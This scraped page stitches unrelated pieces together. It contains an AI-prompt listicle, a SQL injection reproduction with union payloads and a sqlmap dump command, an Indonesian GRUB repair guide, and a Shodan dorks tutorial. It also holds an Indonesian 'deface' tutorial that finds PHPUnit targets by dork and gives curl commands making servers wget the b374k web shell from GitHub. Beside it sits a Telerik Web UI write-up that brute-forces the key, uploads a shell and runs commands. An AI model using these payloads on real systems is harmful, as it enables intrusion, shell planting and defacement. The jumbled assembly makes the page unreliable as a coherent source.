Photos

3-latest-1110px-slider

30 Powerful AI Prompts Most Beginners Don't Know: Unlock the Hidden Power of AI

30 Powerful AI Prompts Most Beginners Don't Know: Unlock the Hidden Power of AI (2026)

Artificial Intelligence is becoming one of the most powerful technologies in the modern world. Millions of people use AI tools every day, but surprisingly, many users only understand a small part of what these tools can actually do.

Most beginners use AI to ask simple questions, generate short articles, or translate sentences. However, AI can do much more than that.

With the right prompts, you can turn an AI assistant into a personal researcher, business consultant, marketing strategist, professional writing assistant, programming tutor, and productivity partner.

The secret is not simply using AI. It is knowing how to communicate with it effectively.

In this article, we will explore 30 powerful AI prompts that many beginners overlook. These prompts are written in English and can be used with popular AI assistants such as ChatGPT, Google Gemini, Claude, and other compatible AI platforms.

Whether you are a student, blogger, entrepreneur, content creator, or technology enthusiast, these prompts can help you get more useful results from artificial intelligence.

Table of Contents

  1. What Are AI Prompts?

  2. Why Are Advanced AI Prompts Important?

  3. 30 Powerful AI Prompts You Should Know

  4. How to Use These Prompts Step by Step

  5. Secret Techniques to Improve AI Responses

  6. Common AI Prompt Mistakes

  7. Frequently Asked Questions

  8. Final Thoughts

1. What Are AI Prompts?

An AI prompt is an instruction, question, or description that you provide to an artificial intelligence system to generate a response or perform a task.

For example, a simple prompt might be:

"Write an article about technology."

However, a more detailed prompt could be:

"Act as an experienced technology journalist. Write a comprehensive beginner-friendly article about artificial intelligence, explain important concepts using practical examples, organize the content with SEO-friendly headings, and use professional American English."

The second prompt provides more context, a specific role, a clear objective, and formatting instructions.

As a result, the AI has a better understanding of what you want.

2. Why Are Advanced AI Prompts Important?

Many people believe that getting better AI results requires expensive subscriptions or advanced technical knowledge.

That is not always true.

In many situations, improving the quality of your instructions can make a significant difference.

Advanced prompts can help you:

  • Generate more detailed explanations.

  • Discover new ideas.

  • Analyze complicated information.

  • Improve writing quality.

  • Create professional business strategies.

  • Learn difficult subjects faster.

  • Automate repetitive thinking and planning tasks.

  • Identify mistakes in your work.

A well-designed prompt does not guarantee a perfect answer, but it gives the AI clearer instructions and a better chance of producing useful results.

3. 30 Powerful AI Prompts You Should Know

Below are 30 practical prompts organized into different categories. Copy any prompt and replace the information inside the brackets with your own details.

Category 1: Powerful Thinking and Learning Prompts

These prompts help you use AI as a personal teacher, researcher, and critical thinking assistant.

Prompt 1: The Expert Teacher

Use this prompt when you want to understand a complicated topic from the beginning.

Copy this prompt:

"Act as a world-class teacher and subject matter expert in [TOPIC]. Teach me this subject from absolute beginner level to advanced level. Break down complicated concepts into simple explanations, provide real-world examples, identify common misunderstandings, and give me practical exercises after each lesson. Do not move to the next lesson until I understand the current one."

Best for: Students, self-learners, and beginners.

Prompt 2: The 80/20 Learning Method

Learn the most important concepts without wasting time on unnecessary information.

Copy this prompt:

"I want to learn [TOPIC] as efficiently as possible. Apply the 80/20 principle to identify the 20% of concepts that will give me approximately 80% of the practical understanding. Create a structured learning roadmap, explain each essential concept, provide examples, and suggest exercises to test my knowledge."

Best for: Learning new skills quickly.

Prompt 3: The Critical Thinking Assistant

Use AI to examine an idea instead of simply agreeing with everything you say.

Copy this prompt:

"Act as a critical thinking partner. Analyze my idea: [INSERT IDEA]. Identify hidden assumptions, logical weaknesses, potential risks, alternative explanations, and overlooked opportunities. Challenge my reasoning respectfully and provide evidence-based arguments. Do not agree with me unless the reasoning supports my conclusion."

Best for: Decision-making, research, and problem-solving.

Prompt 4: Explain Anything Like an Expert

This prompt helps you understand difficult subjects through simple comparisons.

Copy this prompt:

"Explain [TOPIC] using simple language that a complete beginner can understand. Start with an everyday analogy, then explain the technical concept, provide three practical examples, and finish with a short knowledge test. Gradually increase the difficulty of the explanations."

Best for: Science, technology, finance, and education.

Prompt 5: The Knowledge Gap Detector

Discover what you do not know about a particular subject.

Copy this prompt:

"I want to become knowledgeable about [TOPIC]. Evaluate my current understanding by asking me 10 progressively difficult questions. After reviewing my answers, identify my knowledge gaps, explain my misunderstandings, and create a personalized improvement plan."

Best for: Self-assessment and advanced learning.

Category 2: Hidden AI Prompts for Research and Discovery

These prompts help you investigate subjects more deeply and organize information effectively.

Prompt 6: The Deep Research Assistant

Copy this prompt:

"Act as a professional research assistant specializing in [SUBJECT]. Develop a detailed research report covering the background, important developments, current challenges, competing perspectives, practical applications, and future possibilities. Separate verified information from assumptions and clearly identify claims that require additional sources. Never invent references or statistics."

Best for: Bloggers, researchers, and students.

Prompt 7: Find Unusual Opportunities

Copy this prompt:

"Analyze the field of [INDUSTRY OR NICHE] and identify 15 overlooked opportunities that beginners and competitors may be ignoring. For each opportunity, explain the target audience, potential demand, difficulty level, possible challenges, and a practical way to test the idea."

Best for: Entrepreneurs and content creators.

Prompt 8: The Trend Analysis Assistant

Copy this prompt:

"Analyze the development of [TOPIC OR INDUSTRY]. Identify major historical changes, emerging technologies, important market developments, and possible future directions. Use current sources when available, include publication dates, and distinguish confirmed developments from predictions."

Best for: Technology research and business planning.

Prompt 9: The Competitor Analysis Expert

Copy this prompt:

"Act as a professional market research analyst. Analyze the competitive landscape of [BUSINESS OR NICHE]. Identify common competitor strategies, customer needs, market gaps, pricing approaches, strengths, and weaknesses. Provide a practical differentiation strategy for a new business entering this market. Do not invent competitor information."

Best for: Business owners and digital marketers.

Prompt 10: The Problem Discovery Prompt

Copy this prompt:

"Investigate the biggest problems experienced by people in [TARGET AUDIENCE]. Categorize these problems according to urgency, frequency, financial impact, and difficulty of solving them. Suggest practical solutions and explain which problems offer the strongest opportunities for creating useful products or services."

Best for: Product development and business ideas.

Category 3: Powerful AI Prompts for Blogging and SEO

If you own a website or blog, these prompts can help you create better content strategies.

Prompt 11: The SEO Content Strategist

Copy this prompt:

"Act as an experienced SEO content strategist. My website focuses on [WEBSITE NICHE], and my target audience is [TARGET AUDIENCE]. Develop a content strategy containing 30 article ideas. Group them into topic clusters, identify search intent, suggest primary and secondary keywords, and explain how the articles should link to one another."

Best for: Blog owners and SEO beginners.

Prompt 12: The Search Intent Analyzer

Copy this prompt:

"Analyze the search intent behind the keyword [KEYWORD]. Determine whether users are looking for informational, navigational, commercial, or transactional content. Describe the questions readers expect to have answered and recommend an article structure that satisfies their needs."

Best for: SEO research.

Prompt 13: The Professional Article Writer

Copy this prompt:

"Act as a professional English-language technology writer. Create a comprehensive article about [TOPIC] for [TARGET AUDIENCE]. Use an engaging introduction, logical H2 and H3 headings, practical examples, detailed explanations, and a useful FAQ section. Avoid repetitive information, unsupported claims, and keyword stuffing. Prioritize originality, clarity, and reader value."

Best for: Professional blog articles.

Prompt 14: The Article Improvement Expert

Copy this prompt:

"Review the following article as an experienced editor and SEO specialist: [PASTE ARTICLE]. Evaluate its readability, structure, factual accuracy, usefulness, search intent alignment, and originality. Identify weak sections and explain exactly how to improve them. Do not rewrite the entire article unless requested."

Best for: Improving existing blog content.

Prompt 15: The Internal Linking Strategist

Copy this prompt:

"Act as an SEO website architecture specialist. Analyze these article titles: [INSERT ARTICLE TITLES]. Recommend relevant internal links between the articles, suggest natural anchor text, identify pillar content, and organize the website into logical topic clusters. Only recommend links that genuinely help readers."

Best for: Building a stronger blog structure.

Category 4: Advanced AI Prompts for Business and Money-Making Ideas

These prompts can help you investigate business opportunities and improve your planning.

Prompt 16: The Business Idea Generator

Copy this prompt:

"Act as an experienced startup consultant. Generate 20 realistic online business ideas based on these conditions: budget [BUDGET], available skills [SKILLS], target market [MARKET], and available working hours [HOURS]. Evaluate each idea based on startup costs, difficulty, competition, potential customer demand, and validation methods. Avoid unrealistic income promises."

Best for: New entrepreneurs.

Prompt 17: The Digital Product Creator

Copy this prompt:

"Help me develop a digital product for [TARGET AUDIENCE]. Identify a specific problem, propose a valuable solution, define the product format, outline its contents, suggest a reasonable pricing strategy, and create a step-by-step launch plan. Include ways to validate customer demand before investing significant money."

Best for: Selling ebooks, templates, and digital courses.

Prompt 18: The Marketing Strategy Expert

Copy this prompt:

"Act as a professional digital marketing strategist. Develop a marketing campaign for [PRODUCT OR SERVICE] targeting [AUDIENCE]. Include customer pain points, unique selling propositions, content ideas, promotional channels, campaign messaging, and performance indicators. Make the strategy realistic for a business with a budget of [BUDGET]."

Best for: Small businesses and online stores.

Prompt 19: The Customer Psychology Analyzer

Copy this prompt:

"Analyze the purchasing behavior of customers interested in [PRODUCT OR SERVICE]. Identify their motivations, concerns, objections, decision-making factors, and common questions. Suggest ethical marketing messages that address their needs without using misleading claims or manipulative tactics."

Best for: Sales and marketing.

Prompt 20: The Business Automation Planner

Copy this prompt:

"Analyze my business workflow: [DESCRIBE WORKFLOW]. Identify repetitive tasks that could potentially be automated using AI or digital tools. Recommend suitable solutions, explain the implementation steps, estimate the expected time savings, and identify tasks that should remain under human supervision."

Best for: Business productivity.

Category 5: Creative AI Prompts for Content Creators

These prompts are useful for YouTube creators, social media managers, designers, and digital artists.

Prompt 21: The Viral Content Idea Generator

Copy this prompt:

"Act as a creative content strategist. My content niche is [NICHE], and my target audience is [AUDIENCE]. Generate 30 original short-form video ideas. For each idea, provide an attention-grabbing opening hook, a simple storyline, suggested visuals, audio direction, and a strong closing message. Focus on audience value rather than promising viral results."

Best for: YouTube Shorts, TikTok, and Instagram Reels.

Prompt 22: The YouTube SEO Assistant

Copy this prompt:

"Act as a YouTube content optimization specialist. My video topic is [TOPIC], and my target audience is [COUNTRY OR AUDIENCE]. Generate 10 compelling English titles, an informative SEO-friendly description, relevant hashtags, suggested tags, and thumbnail text ideas. Avoid misleading clickbait and prioritize accurate descriptions of the video."

Best for: YouTube creators targeting international viewers.

Prompt 23: The AI Image Prompt Engineer

Copy this prompt:

"Act as a professional AI image prompt engineer. Create a highly detailed image-generation prompt for [SUBJECT]. Specify the composition, lighting, camera angle, visual style, color palette, background, textures, atmosphere, and image quality. Include negative instructions to avoid unwanted visual elements. Make the final prompt suitable for [IMAGE GENERATION TOOL]."

Best for: AI image generation.

Prompt 24: The Storytelling Expert

Copy this prompt:

"Act as a professional storyteller. Create an engaging story about [TOPIC] for [TARGET AUDIENCE]. Begin with a powerful emotional hook, develop an interesting conflict, introduce unexpected but logical developments, and finish with a meaningful conclusion. Use natural dialogue and vivid descriptions. Avoid predictable storytelling."

Best for: Video scripts and creative writing.

Prompt 25: The Professional Video Scriptwriter

Copy this prompt:

"Write a professional video script about [TOPIC] with a total duration of [DURATION]. Divide the script into scenes. For each scene, include narration, visual descriptions, camera movements, sound effects, and transitions. Make the first three seconds engaging and ensure the story flows naturally from beginning to end."

Best for: YouTube videos and AI video production.

Category 6: Advanced Productivity and Technical Prompts

These prompts can turn AI into a practical assistant for organizing work and solving technical problems.

Prompt 26: The Personal Productivity Architect

Copy this prompt:

"Act as a productivity consultant. My current responsibilities are [TASKS], my available working hours are [HOURS], and my main goals are [GOALS]. Create a realistic weekly schedule, prioritize important activities, identify unnecessary tasks, and suggest methods for maintaining focus and avoiding burnout."

Best for: Time management.

Prompt 27: The Programming Mentor

Copy this prompt:

"Act as a senior software engineer and patient programming mentor. I want to learn [PROGRAMMING LANGUAGE OR TECHNOLOGY]. Create a structured learning path from beginner to advanced level. Explain concepts step by step, provide working code examples, explain common errors, and give me practical coding challenges with solutions."

Best for: Learning programming.

Prompt 28: The Code Debugging Assistant

Copy this prompt:

"Act as an experienced software debugging specialist. Analyze the following code: [PASTE CODE]. Identify possible errors, explain why they occur, suggest a corrected version, and describe how to test the solution. Preserve the original functionality unless a change is necessary. Highlight potential security and performance issues."

Best for: Developers and programmers.

Prompt 29: The Decision-Making Framework

Copy this prompt:

"Help me make a well-informed decision about [DECISION]. Identify the available options, compare their advantages and disadvantages, evaluate potential risks, consider short-term and long-term consequences, and create a decision matrix. Clearly separate known facts from assumptions. Do not make the decision for me."

Best for: Personal and professional decisions.

Prompt 30: The AI Workflow Architect

Copy this prompt:

"Act as an AI workflow architect. I want to accomplish the following goal: [GOAL]. Design a complete workflow using suitable AI tools and human checkpoints. Break the process into individual steps, explain what each tool should do, identify required inputs and expected outputs, and include error-handling procedures. Prioritize reliability, privacy, and efficiency."

Best for: Advanced AI users and automation enthusiasts.

4. How to Use These AI Prompts Step by Step

If you have never used advanced prompts before, follow this simple tutorial.

Step 1: Choose an AI Platform

Start with an AI assistant that supports the type of task you want to perform.

Some popular options include:

Step 2: Select a Prompt

Choose one of the 30 prompts according to your needs.

For example, if you want to create a professional blog article, select Prompt 13.

Step 3: Customize the Instructions

Replace the information inside the brackets.

For example:

[TOPIC] = Artificial Intelligence

[TARGET AUDIENCE] = Technology beginners in the United States

[ARTICLE LENGTH] = 2,000 words

The more relevant information you provide, the easier it is for the AI to understand your objective.

Step 4: Copy and Submit the Prompt

Copy the complete prompt and paste it into your selected AI platform.

Read the generated response carefully.

Step 5: Ask Follow-Up Questions

Do not stop after receiving the first answer.

You can improve the result by asking:

"Can you provide more practical examples?"

"Explain the most complicated parts in simpler language."

"Identify any weaknesses in your previous answer."

"Rewrite this section with more detailed explanations."

Step 6: Verify the Information

Check important facts, statistics, technical instructions, and references.

AI can make mistakes, so human review remains important.

5. Secret Techniques to Improve AI Responses

Beyond using ready-made prompts, you can improve your results by applying several practical techniques.

Technique 1: Give AI a Specific Role

Instead of asking:

"Help me with SEO."

Try:

"Act as an experienced technical SEO consultant specializing in Blogger and content optimization."

A clear role helps establish the perspective and expertise you want the AI to apply.

Technique 2: Provide Background Information

Explain your project, target audience, experience level, and objective.

For example:

"I manage a technology blog targeting English-speaking readers. My goal is to publish helpful beginner-friendly tutorials about AI tools."

This context makes recommendations more relevant.

Technique 3: Specify the Output Format

Tell the AI exactly how you want the response organized.

For example:

"Present the result using numbered steps, H2 headings, practical examples, and a comparison table."

Technique 4: Ask AI to Challenge Your Ideas

Do not always ask AI to agree with you.

Try:

"Challenge my assumptions and identify the three biggest weaknesses in this plan."

This can help reveal problems you might otherwise overlook.

Technique 5: Use Multi-Step Instructions

For complex tasks, ask AI to complete the work in stages.

For example:

"First analyze the problem, then identify possible solutions, compare the options, and finally recommend a practical implementation plan."

This makes complex tasks easier to organize and review.

6. Common AI Prompt Mistakes

Even advanced AI platforms can produce disappointing results when instructions are unclear.

Avoid these common mistakes:

1. Giving Vague Instructions

A prompt such as "Make something good" does not provide enough information.

2. Providing No Context

AI may misunderstand your target audience or objective if you do not explain your situation.

3. Expecting Perfect Accuracy

AI-generated information should be checked, especially when it involves important decisions.

4. Using Too Many Unrelated Instructions

Combining several unrelated tasks into one prompt can make the response confusing.

5. Ignoring Privacy

Never share passwords, confidential business information, or sensitive personal data without understanding the platform's data handling practices.

6. Publishing AI Content Without Editing

Review, fact-check, and improve generated content before publishing it.

7. Frequently Asked Questions About AI Prompts

What is the best AI prompt for beginners?

A good beginner prompt is one that clearly explains the task, provides relevant context, and specifies the expected output. The Expert Teacher prompt is a useful starting point.

Can I use these prompts with ChatGPT?

Yes. These prompts are designed for general AI assistants and can be adapted for ChatGPT, Google Gemini, Claude, and other compatible platforms.

Are advanced AI prompts free?

The prompts themselves are free to copy and use. However, individual AI platforms may have subscription fees, usage limits, or paid features.

Can AI prompts help me make money online?

AI prompts can help with research, content creation, marketing, business planning, and productivity. However, using prompts does not guarantee income. Successful businesses still require valuable products, customers, effective execution, and market validation.

Do I need programming skills to use advanced AI prompts?

No. Most prompts in this article can be used without programming knowledge. Coding prompts are specifically designed for people who want to learn or work with software development.

Why do some AI prompts produce better results than others?

Detailed prompts usually provide clearer instructions, context, constraints, and output expectations. These factors help AI systems generate more relevant responses.

Can I modify these prompts?

Absolutely. You should customize prompts according to your goals, target audience, available information, and preferred output format.

8. Final Thoughts

Artificial intelligence is much more powerful when you know how to communicate with it effectively.

The 30 prompts in this guide demonstrate how AI can support learning, research, blogging, business planning, content creation, programming, and everyday productivity.

You do not need to memorize every prompt. Start with the one that solves your most important problem, customize it, evaluate the response, and improve your instructions.

Remember that the real power of AI is not hidden behind a secret command. It comes from asking better questions, providing meaningful context, and using the results intelligently.

Start experimenting with these prompts today and discover new ways to use artificial intelligence.


Additional Resources

Explore these official AI platforms to put the prompts into practice:

Disclaimer: This article is intended for educational purposes. AI platforms, features, and pricing may change over time. Always review generated content before using it for important decisions or commercial purposes.

CVE-2023-37771 User Registration & Login and User Management System

User Module

In user module, user can register yourself. After Registration user can log in with own email id and password.
if the user forgot their own password then user can request for password using their own email id.


User Registration
User Login
Forgot Password


Note: For Forgot password , you have provide your gmail credetails in password-recovery.php. After that email function will work on your localhost.

Art Gallery Management System v1.0 contains a SQL injection vulnerability via the cid parameter at /agms/product.php.

Configurations :

cpe:2.3:a:phpgurukul:art_gallery_management_system:1.0:*:*:*:*:*:*:*


Steps Of Reproduce - 


1. Go to the Sculptures by navigating the "ART TYPE" option in the navigation bar.

 http://127.0.0.1/agms/product.php?cid=1&&artname=Sculptures


 2. Here on this page in "cid" parameter by inserting single quotes to break the query we know that the "cid" parameter is vulnerable to SQL injection.

 http://127.0.0.1/agms/product.php?cid=1'&&artname=Sculptures


 3. Now join query

 http://127.0.0.1/agms/product.php?cid=1'--+&&artname=Sculptures


 3. Now run "order by " query to know the columns

 127.0.0.1/agms/product.php?cid=1' order by 6 --+&&artname=Sculptures


 4.Now By inserting the payload in the "cid" parameter we got the username, database, and database version.

 127.0.0.1/agms/product.php?cid=1' union all select 1,2,3,database(),5,6 --+&&artname=Sculptures

 127.0.0.1/agms/product.php?cid=1' union all select 1,2,3,current_user(),5,6 --+&&artname=Sculptures

 127.0.0.1/agms/product.php?cid=1' union all select 1,2,3,version(),5,6 --+&&artname=Sculptures


 5. Now dump all the database by using sqlmap:

 sqlmap -u http://127.0.0.1/agms/product.php?cid=1 --dump-all --batch


Admin Panel

Admin can manage all registered users. Admin can update the user information and delete the user.
Admin can change own password


Admin Login
Manage users
Edit user information
Change Password(admin)






Cara mengembalikan grub ubuntu yang hilang pada saat setelah install windows

 hmmm . . .

Dari pada ga ada thread. ngisi thread seputar dasar linux ini aja udah -_-

Pada awalnya pengguna user baru sangat di repotkan dengan grub ubuntu hilang pada saat instalasi windows ...
bener tidak ?

Yapps.. benar banyak yang bingung " mas ini kenapa grub ku hilang , om gimana ini grub ubuntuku hilang " pasti jawabanya banyak yang nyeleneh :(
mungkin di makan tikus om " padahal pengen nguntal wong iku "
udah ah capek nulis mulu .. langsung aja ke TKP

1. Masukan live dvd ubuntu kalian


2. Pilih "Try Ubuntu" jangan "Install Ubuntu"

3. Masuk pada terminal anda

root@pandaantech :~$ sudo su
root@pandaantech /home/pandaantech/ :~$ Fdisk -l
root@pandaantech /home/pandaantech/ :~$ mount /dev/sda* /mnt

 

 

 

nb : mksd dari tanda bintang itu adalah .. letak dimana partisi linux kamu di install

contoh : jika linux kamu di install di nomor 5 berrti perintahnya beigini

root@pandaantech :~$ mount /dev/sda5 /mnt

 

atau bisa melihat gambar di bawah ini jika bingung :)

 

 

oke lanjut ke perintah selanjutnya :) 
di selanjutnya kita di siruh manganktifkan grub yang di mount

 root@pandaantech :~$ /home/pandaantech:~$ grub-install --root-directory=/mnt/ /dev/sda

kalau bingung bisa lihat gambar di bawah ini 

 

 

 

 

 

Nah kalau sudah silahkan reboot :)

dan jangan sampe update-grub nanti mlah masuk ke windows lagi dan tidak ada grub.nya


terima kasih 

source : tretesg3t4r.blogspot.com

Deface poc laravel php unit RCE

Hello..
Di sini saya mau membagikan cara deface poc laravel php unit RCE
oh ya disclaimer " Gunakan dengan bijak dan jangan merusaknya tutorial ini hanya sekedar memberikan wawasan semata "

Langsung saja 


Dork nya:
index of vendor/phpunit

Exploit:
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

disini saya menggunakan curl untuk command di bawah

command untuk melihat server web nya:

curl -v -X GET --data "<?php system('uname -a'); ?>" 127.0.0.1/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

command untuk upload shell nya:

curl -v -X GET --data "<?php system('wget https://raw.githubusercontent.com/backdoorhub/shell-backdoor-list/master/shell/php/b374k.php');" 127.0.0.1/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

untuk shell nya bisa kalian rubah sendiri hehe,,oh iya ciri²web vuln yaitu blank,terdownload dll kalian coba aja :D

oke langkah pertama kita jalan kan command untuk melihat server nya,jika tidak mau kalian bisa langsung upload shell

,jika kalian saat mengecek server nya menggunakan command diatas tetapi tidak keluar nama server nya berarti web kalian tidak vuln,oke marikita coba upload shell kita




shell sudah terupload sukses dan untuk cara mengaksesnya gimana ?

127.0.01/vendor/phpunit/phpunit/src/Util/PHP/b374k.php



cukup sekian dan terima kasih 



Pwning Web Applications via Telerik Web UI oracle

 


Introduction


Over the past months, I’ve encountered a number of web applications that were using Telerik Web UI components for their application’s interface. There’s nothing wrong with using third party components to make your application’s interface the way you want it. However, a vulnerability in these components could cause you harm.

In this post, I’m going to show you how I pwned several web applications, specifically ASP.NET ones, by abusing an outdated version of Telerik Web UI.

Identification

The simplest way to check if the application is using Telerik Web UI is to view its HTML source code.Source1

TIP #1: There are times where you’ll not find exactly the string Telerik.Web.UI from the HTML code. However, if you find the string Telerik, just keep on browsing the other pages of the application and search for the string Telerik.Web.UI again.

If you’ve identified that the application is using Telerik Web UI, the next step is to identify its version and check if it’s vulnerable to CVE-2017-9248.

Finding the version can either be easy or tricky. To get the exact version, just view the HTML code. In the case below, the version information sits right next to the string Telerik.Web.UI. That’s easy.


Source2

However, there are cases where the version is not located right next to the string “Telerik.Web.UI”. Another way to identify the version of Telerik Web UI is by going through the HTML comments just like here.Source3

O

Once you have the version information, cross-reference it with the list of vulnerable versions. Based on the exploitation tool written by Paul Taylor (@bao7uo), the following versions are affected:


2007.1423        2008.31314       2010.31317        2013.1.403        2015.2.729
2007.1521        2009.1311        2011.1315         2013.1.417        2015.2.826
2007.1626        2009.1402        2011.1413         2013.2.611        2015.3.930
2007.2918        2009.1527        2011.1519         2013.2.717        2015.3.1111
2007.2101        2009.2701        2011.2712         2013.3.1015       2016.1.113
2007.21107       2009.2826        2011.2915         2013.3.1114       2016.1.225
2007.31218       2009.31103       2011.31115        2013.3.1324       2016.2.504
2007.31314       2009.31208       2011.3.1305       2014.1.225        2016.2.607
2007.31425       2009.31314       2012.1.215        2014.1.403        2016.3.914
2008.1415        2010.1309        2012.1.411        2014.2.618        2016.3.1018
2008.1515        2010.1415        2012.2.607        2014.2.724        2016.3.1027
2008.1619        2010.1519        2012.2.724        2014.3.1024       2017.1.118
2008.2723        2010.2713        2012.2.912        2015.1.204        2017.1.228
2008.2826        2010.2826        2012.3.1016       2015.1.225        2017.2.503
2008.21001       2010.2929        2012.3.1205       2015.1.401        2017.2.621
2008.31105       2010.31109       2012.3.1308       2015.2.604        2017.2.711
2008.31125       2010.31215       2013.1.220        2015.2.623        2017.3.913

Exploitation


Before jumping to the exploitation, we have to locate first the “Dialog Handler” Telerik.Web.UI.DialogHandler.aspx. Most of the time, it’s located at the root directory of the application. If it’s not there, try the sub-directories. To verify if you’ve found the right location, you should see the string “Loading the dialog…” when accessing the dialog handler.


Loading

TIP #2: Sometimes, the sub-directory where the dialog handler is located (or where Telerik Web UI is located in general) can be found from the HTML source code.

For the exploitation, use the tool written by Paul Taylor which can be downloaded here. Credits and big thanks to him for writing this one.

Here’s an example of the tool running to bruteforce the key and discover the hidden link to access the Document Manager page.

root@ewa:~# python dp_crypto.py -k http://www.example.com/Telerik.Web.UI.DialogHandler.aspx 48 hex 9

dp_crypto by Paul Taylor / Foregenix Ltd
CVE-2017-9248 - Telerik.Web.UI.dll Cryptographic compromise

Attacking http://www.example.com/Telerik.Web.UI.DialogHandler.aspx
to find key of length [48] with accuracy threshold [9]
using key charset [01234567890ABCDEF]

Key position 01: {D} found with 31 requests, total so far: 31
Key position 02: {3} found with 10 requests, total so far: 41
Key position 03: {A} found with 35 requests, total so far: 76
Key position 04: {D} found with 46 requests, total so far: 122
<------------------------ SNIPPED ------------------------>
Key position 45: {B} found with 50 requests, total so far: 1638
Key position 46: {3} found with 36 requests, total so far: 1674
Key position 47: {3} found with 50 requests, total so far: 1724
Key position 48: {F} found with 57 requests, total so far: 1781
Found key: D3AD[redacted]B33F
Total web requests: 1781
2014.3.1024: http://www.example.com/Telerik.Web.UI.DialogHandler.aspx?DialogName=DocumentManager&renderMode=2&Skin=Default&Title=Document%20Manager&dpptn=&isRtl=false&dp=[snipped&redacted]


By visiting the “Document Manager” link, we see that we now have access to all the files and folders of the web server. More importantly, we see that we can upload arbitrary files to the server.


Document Manager


Here’s an example of the shell cmd.aspx file that I uploaded.


Shell


And here’s an example of a command execution using the uploaded shell.


Shell Upload

Telewreck


As part of my learning process, I decided to create a Burp Suite extension that can detect and exploit vulnerable instances of Telerik Web UI. I named it Telewreck and is available at https://github.com/capt-meelo/Telewreck.

When running a passive scan, this extension will look for vulnerable versions of Telerik Web UI.


Passive


A tab where you can perform the exploitation part is also available.


Tab


That’s it!

Feel free to contribute in the development of the tool and report/fix some issues.

Youtube : Pandaantech

Shodan Dorks

 

Summary :

Shodan is a search engine for Internet-connected devices. It is different from search engines like Google and Bing because Google and Bing are great for finding websites but Shodan helps in finding different things like popular versions of Microsoft IIS, control servers for Malware, how many host are affected with the new CVEs, which countries are becoming more connected, SSL certificates of the websites etc.

Difference between Shodan and Google :

The major difference between Shodan and Google is that, that Shodan analyzes the internet and Google analyzes the Word Wide Web.

Description :

Shodan is the most popular search engine ever seen. It has the capability to index small desktops, CCTVs, nuclear power plants etc.

Nowadays shodan has become very popular in the world of penetration testing, bug bounties, digital forensics, threat hunting etc.

Shodan’s Search Query Insights :

Shodan gathers information by interacting with web services and this information is stored in an object called the banner, so when you search anything using a shodan dork (search query) shodan takes the information from the banner of that service and displays it to you. In simple words banner is a metadata about a service, for HTTP it means headers and for FTP it means welcome string. Different services have different banners, lets look at the example of vsftpd 3.0.3 and Siemens S7 banners.

vsftpd 3.0.3 - Banner
Siemens S7 - Banner

Shodan has two versions :
1. Web Based
2. CLI Based

Shodan command line interface (CLI) uses python library for shodan. It is been said that shodan CLI is more powerful than web-based version. There is also a slight difference between the commands being used on web version and CLI version.

How to use Web Based version (Basics) ?

  1. Go to https://account.shodan.io/login?continue=http%3A%2F%2Fwww.shodan.io%2Fdashboard and login to your account
Web Login

2. Enter your shodan dork (query) in the search bar and hit enter

Search
Shodan Dork

4. You can also filter results using response codes

Shodan Dork - Response Filtering

How to use CLI Based version (Basics) ?

  1. sudo apt install python python3 python-pip python3-pip
  2. sudo apt install python-setuptools python3-setuptools
Python Setup Tools
Completed

3. sudo pip install shodan

Shodan Installation

4. After installation I ran the command shodan count microsoft iis 6.0 which gave me an error regarding the API key, so I ran the command shodan init <API-KEY> to configure my api key

Note : I took the API key from my shodan web account

API Key

5. Then I used the command shodan scan submit --force IP to scan specific IP using shodan cli

Shodan Scan

6. For searching specific host I used the command shodan host IP

Host

Shodan Monitoring

Shodan monitoring helps you to monitor your target’s IP address. It can monitor single IP address, list of IP addresses or even net blocks (IP subnets). It will help you to identify industrial control systems, malware related services, uncommon services, open databases, iot devices, internet exposed services, expired ssl certificates, new services of your target and vulnerable cve for your target.

How to use shodan for network monitoring (CLI) ?

  1. Use the command shodan alert to check the available options
Alert options

2. Then use the command shodan alert create “TargetName” <TargetIP> to add your target for network monitoring (you can also define IP range - net blocks instead of single IP)

Adding Target for Network Monitoring

3. Then use the command shodan alert triggers to check the available triggers

Alert Triggers
Alert Triggers

4. Then use the command shodan alert list to check the alert ID

Alert ID

5. Now for enabling the alerts for your target use the command shodan alert enable <alertID> <alertNames>

Creating Alerts for Target

Domain-based Networking Monitoring

Sometimes it happens that we are not aware about the IPs or their network ranges we only have the domain name for testing so in that case shodan provides us with domain based network monitoring where we can directly use the domain name for monitoring instead of IP address or network ranges.

Instance :

  1. Use the command shodan alert domain <domainName>

The best part is that after giving the domain name shodan will automatically find all the subdomains and their IPs and will create a network monitor for them. It will keep the monitor up to date as the DNS information changes of your target and you can view your target information using the command shodan domain <domainName>

Instance :

Domain Information

How to use shodan for network monitoring (Web) ?

  1. Go to https://monitor.shodan.io/dashboard and click on “SETUP NETWORK MONITOR”
Network setup

2. Add the name and IP address of your target (you can also add net range like 104.16.100.52/32) and click on Add Network

Target Name and IP

NOTE : Here in the right side you can see 16 IPs remaining which means I can only add up to 16 IP addresses, it is because I have academic membership. Different membership will have different benefits (check here : https://account.shodan.io/billing).

3. Now click on edit and scroll down to apply trigger rules and then click on Save Changes

Editing for Trigger Rules
Trigger Rules

NOTE : I have chose the trigger rules as per bug bounty. If you are doing a pentesting you can select all of them.

4. Then click on dashboard > browse results

Dashboard
Browse Results
Results

Shodan as Browser Plug-in

Shodan has a variety of versions and till now we saw CLI based and web based versions of shodan but shodan can also be used as a browser plugin with limited functionalities compare to web and cli based versions.

Shodan browser plugin automatically detects that in which country or city the website is hosted, who owns the IP and what all services and ports are open. Apart from that it also gives you the SSL certificate, hostname, web technologies, organization name, ISP, ASN, domain records and subdomains of your target.

How to use browser plugin ?

  1. Go to https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap/related and click on Add to Chrome
Shodan Browser Plugin - Add to Chrome

2. Click on Add extension

Add Extension

3. Now visit your target domain and click on the plugin

Target Domain
Target Information - Shodan Browser Plugin

4. Then right click on View IP Details > Open link in new tab

View IP Details
IP Details

5. For viewing domain details, right click on View domain details > Open link in new tab

View Domain Details
Domain Details

Shodan Dorks Insights :

General

  1. org

This shodan dork is used to find all the assets related to your target domain and you can also use the filtering options to remove the output you don’t want. You can use this dork when your target domain or company has a wildcard domains in scope or all the products belong to target company is in scope.

2. product

This shodan dork is used to find the target based on the specific product, for e.g. if you want to find all the domains of your target that are using the product mongodb then you can use this dork.

3. net

